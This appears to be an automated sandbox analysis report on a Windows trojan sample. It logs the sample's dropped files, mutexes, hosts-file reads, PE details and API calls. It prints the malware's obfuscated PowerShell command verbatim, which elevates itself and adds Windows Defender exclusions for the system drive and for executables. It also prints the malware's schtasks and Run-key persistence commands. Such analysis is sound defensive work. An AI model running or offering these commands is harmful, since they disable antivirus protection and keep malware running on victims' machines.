Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Mutant created: \Sessions\1\BaseNamedObjects\{VXLANG-b8f1bdfa9afe4f1dd8527e57d7289972}
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Mutant created: \Sessions\1\BaseNamedObjects\{VXLANG-98e7bdfabae84f1df8447e57f73e9972}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6140:120:WilError_01
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Mutant created: \Sessions\1\BaseNamedObjects\{VXLANG-24edbdfa06e24f1d444e7e574b349972}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3420:120:WilError_01

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static PE information: More than 176 > 100 exports found

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static file information: File size 1382400 > 1048576

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFBAC4F16F5 push eax; iretd	10_2_00007FFBAC4F16F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFBAC4F3DC3 pushad ; retf	12_2_00007FFBAC4F3DF1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFBAC4F4C0C push cs; iretd	12_2_00007FFBAC4F4C0F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1EE030 push rdx; retf	15_2_00007FF6ED1EE032
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1EE028 push rdx; retf	15_2_00007FF6ED1EE032
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F499C push rbp; ret	15_2_00007FF6ED0F49D8
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0FB17C pushfq ; ret	15_2_00007FF6ED0FB17D
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1EE410 push rax; ret	15_2_00007FF6ED1EE411
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_0000022F4077ED62 push ds; retf	15_2_0000022F4077ED65
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_0000022F4078367A push C3482A46h; ret	15_2_0000022F40783688
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA499C push rbp; ret	25_2_00007FF6B1CA49D8
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1DA4030 push rdx; retf	25_2_00007FF6B1DA4032
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1DA4028 push rdx; retf	25_2_00007FF6B1DA4032
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D6281 push 0000005Eh; ret	25_2_000001882D6D628E
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D10F5 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1100 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D10E2 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D10DA push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D10BD push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D5488 push es; ret	25_2_000001882D6D548E
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D109C push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1D6E pushfd ; iretd	25_2_000001882D6D1D78
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D578B push FFFFFFE3h; iretd	25_2_000001882D6D578F
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1076 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1081 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D104E push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1062 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1044 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D0408 push es; iretd	25_2_000001882D6D0409
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1027 push ss; ret	25_2_000001882D6D110A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_000001882D6D1020 push ss; ret	25_2_000001882D6D110A

Source: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Static PE information: section name: _RDATA
Source: MonDisc.exe.0.dr	Static PE information: section name: .vxlang
Source: MonDisc.exe.0.dr	Static PE information: section name: .mir
Source: LoWin64.exe.0.dr	Static PE information: section name: .vxlang
Source: LoWin64.exe.0.dr	Static PE information: section name: .mir

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	File created: C:\Users\user\AppData\Roaming\MonDisc.exe			Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	File created: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\MonDisc.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 12:00 /f /tn "MonDisc" /tr "C:\Users\user\AppData\Roaming\MonDisc.exe"

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MonDisc			Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MonDisc			Jump to behavior

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8EB4 GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,GetForegroundWindow,GetDoubleClickTime,GetUserDefaultLangID,GetLargePageMinimum,GetModuleHandleW,IsZoomed,GetWindowTextLengthW,GetDesktopWindow,GetTopWindow,GetCommandLineW,GetTopWindow,GetMessageTime,GetSystemDefaultLangID,AnyPopup,GetCurrentProcessId,GetUserDefaultLangID,GetSystemDefaultLangID,GetTopWindow,GetSystemDefaultLangID,GetMessageTime,GetMessageExtraInfo,IsZoomed,GetForegroundWindow,GetDoubleClickTime,GetUserDefaultLangID,GetLargePageMinimum,GetShellWindow,GetCurrentProcessId,GetCommandLineW,GetModuleHandleW,GetCommandLineW,GetCommandLineW,GetCurrentProcessId,GetLargePageMinimum,GetMessageExtraInfo,GetWindowTextLengthW,	15_2_00007FF6ED0F8EB4
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F50E0 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetLastActivePopup,IsIconic,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetLastActivePopup,GetDoubleClickTime,IsIconic,	15_2_00007FF6ED0F50E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F50E0 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetLastActivePopup,IsIconic,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetLastActivePopup,GetDoubleClickTime,IsIconic,	15_2_00007FF6ED0F50E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F50E0 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetLastActivePopup,IsIconic,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetLastActivePopup,GetDoubleClickTime,IsIconic,	15_2_00007FF6ED0F50E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F50E0 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetLastActivePopup,IsIconic,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetLastActivePopup,GetDoubleClickTime,IsIconic,	15_2_00007FF6ED0F50E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F50E0 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetLastActivePopup,IsIconic,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetLastActivePopup,GetDoubleClickTime,IsIconic,	15_2_00007FF6ED0F50E0
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F56BC GetModuleHandleW,GetMessageExtraInfo,AnyPopup,GetWindowTextLengthW,IsZoomed,AnyPopup,GetShellWindow,GetTickCount,GetLastActivePopup,GetTickCount,GetCommandLineW,GetForegroundWindow,GetTopWindow,GetCommandLineW,GetTopWindow,GetForegroundWindow,GetMessageExtraInfo,IsZoomed,GetShellWindow,GetMessageExtraInfo,GetCurrentProcess,GetModuleHandleW,GetTickCount,AnyPopup,IsIconic,GetWindowTextLengthW,GetTopWindow,GetCurrentProcessId,GetTopWindow,GetShellWindow,GetCommandLineW,	15_2_00007FF6ED0F56BC
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F81BD GetCurrentProcess,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,GetLastActivePopup,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F81BD
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F63BA GetDesktopWindow,GetDoubleClickTime,GetSystemDefaultLangID,GetDoubleClickTime,GetDoubleClickTime,GetDoubleClickTime,GetDesktopWindow,GetWindowTextLengthW,GetDoubleClickTime,GetWindowTextLengthW,GetCommandLineW,GetForegroundWindow,GetTopWindow,GetLargePageMinimum,GetForegroundWindow,GetForegroundWindow,GetTickCount,GetWindowTextLengthW,IsIconic,GetCommandLineW,GetDoubleClickTime,GetUserDefaultLangID,GetDesktopWindow,GetParent,	15_2_00007FF6ED0F63BA
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F512F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F512F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F512F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F512F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F512F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F512F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F512F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F512F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F512F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F512F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5117 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5117
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5117 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5117
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5117 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5117
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5117 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5117
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5117 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5117
